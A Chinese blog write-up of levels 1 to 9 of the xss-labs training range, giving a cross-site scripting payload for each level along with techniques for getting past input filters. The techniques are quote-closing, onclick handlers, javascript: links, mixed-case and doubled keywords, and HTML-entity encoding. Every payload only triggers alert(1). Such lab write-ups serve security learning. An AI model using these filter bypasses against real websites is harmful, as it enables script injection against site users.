【XSS】xss-labs 靶场通关(1-9)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦


第一关 level1

查看网站源码,可以发现get传参name的值test插入了html里头
在这里插入图片描述

直接在url后加上JS语句即可
在这里插入图片描述

<script>alert(1)</script>

第二关 lever2

查看网页源码发现和第一关差不多,先在url后加上JS语句试试
发现报错
在这里插入图片描述
再次查看源码,发现JS语句被包在" "中没有执行
在这里插入图片描述
应该闭合" "
在这里插入图片描述

"> <script>alert(1)</script>

第三关 level3

先输入123456,然后查看网站源码
在这里插入图片描述
所以还是闭合问题,输入第二题的JS语言试试
发现报错
在这里插入图片描述
用单引号'闭合试试,还是报错,检查源代码
发现符号被过滤
在这里插入图片描述
我们可以利用onclick绕过<>号的过滤来达到执行js的目的

在文本框输入:

' οnclick='javascript:alert(1)

在这里插入图片描述
再次点击文本框即可触发绕过通关


第四关 level4

查看网页源码,发现还是input 的双引号" "闭合

在这里插入图片描述
将第三关的单引号换成双引号,再次点击文本框即可触发绕过通关

" οnclick="javascript:alert(1)

第五关 level5

查看源代码,先用上一题的绕过语句试试

在这里插入图片描述
插入语句后发现原本的onclick被替换成o_nclick,而且双引号"被过滤
在这里插入图片描述
所以我们用超链接注入

"> <a href="javascript:alert(1)">level5</a>

在这里插入图片描述
点击level5即可通关


第六关 level6

查看源代码发现和前几关一样,随便输入先试试过滤了些什么

"> <a href="javascript:alert(1)">level5</a>

果然报错,查看源代码
发现符号全被过滤
在这里插入图片描述
用大小写绕过试试

"> <a hREf="javascript:alert(1)">level6</a>

发现成功绕过
在这里插入图片描述
点击level6即可通关


第七关 level7

源码和之前一样,先随便输入看看

" > <a hREF="javascript:alert(1)">level7</a>

发现还是符号全过滤,hERFscript也被删掉了
在这里插入图片描述
我们可以用双写绕过

例:
script写作scrscriptipt
相当于scr(script)ipt,中间的script被删掉后两边的字母又可以拼接成一个script

" > <a hrhrefef="javascrscriptipt:alert(1)">level7</a>
这里是将 herf 和 script 做了双写绕过

成功绕过:
在这里插入图片描述


第八关 level8

先随便输入看看

" > <a hREF="javascrscriptipt:alert(1)">level7</a>

查看源码发现输入的值插入了两个地方
符号被过滤,hrefscript插入下划线,下方存在一个a href,大写字母被替换为小写
在这里插入图片描述
我们可以试着插入一段js伪协议

javascript:alert(1)

在线Unicode编码解码 - 码工具进行Unicode编码

在这里插入图片描述
在文本框输入Unicode编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

在这里插入图片描述
点击友情链接即可


第九关 level9

先随便输入看看

" > <a hREF="javascrscriptipt:alert(1)">level9</a>

发现href未插入成功

在这里插入图片描述
链接不合法就插入一个合法链接(向传入的值里面添加http://)

http://用注释符注释掉,即/* http:// */

用Unicode编码后插入

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

在这里插入图片描述
点击友情链接即可

  • 14
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值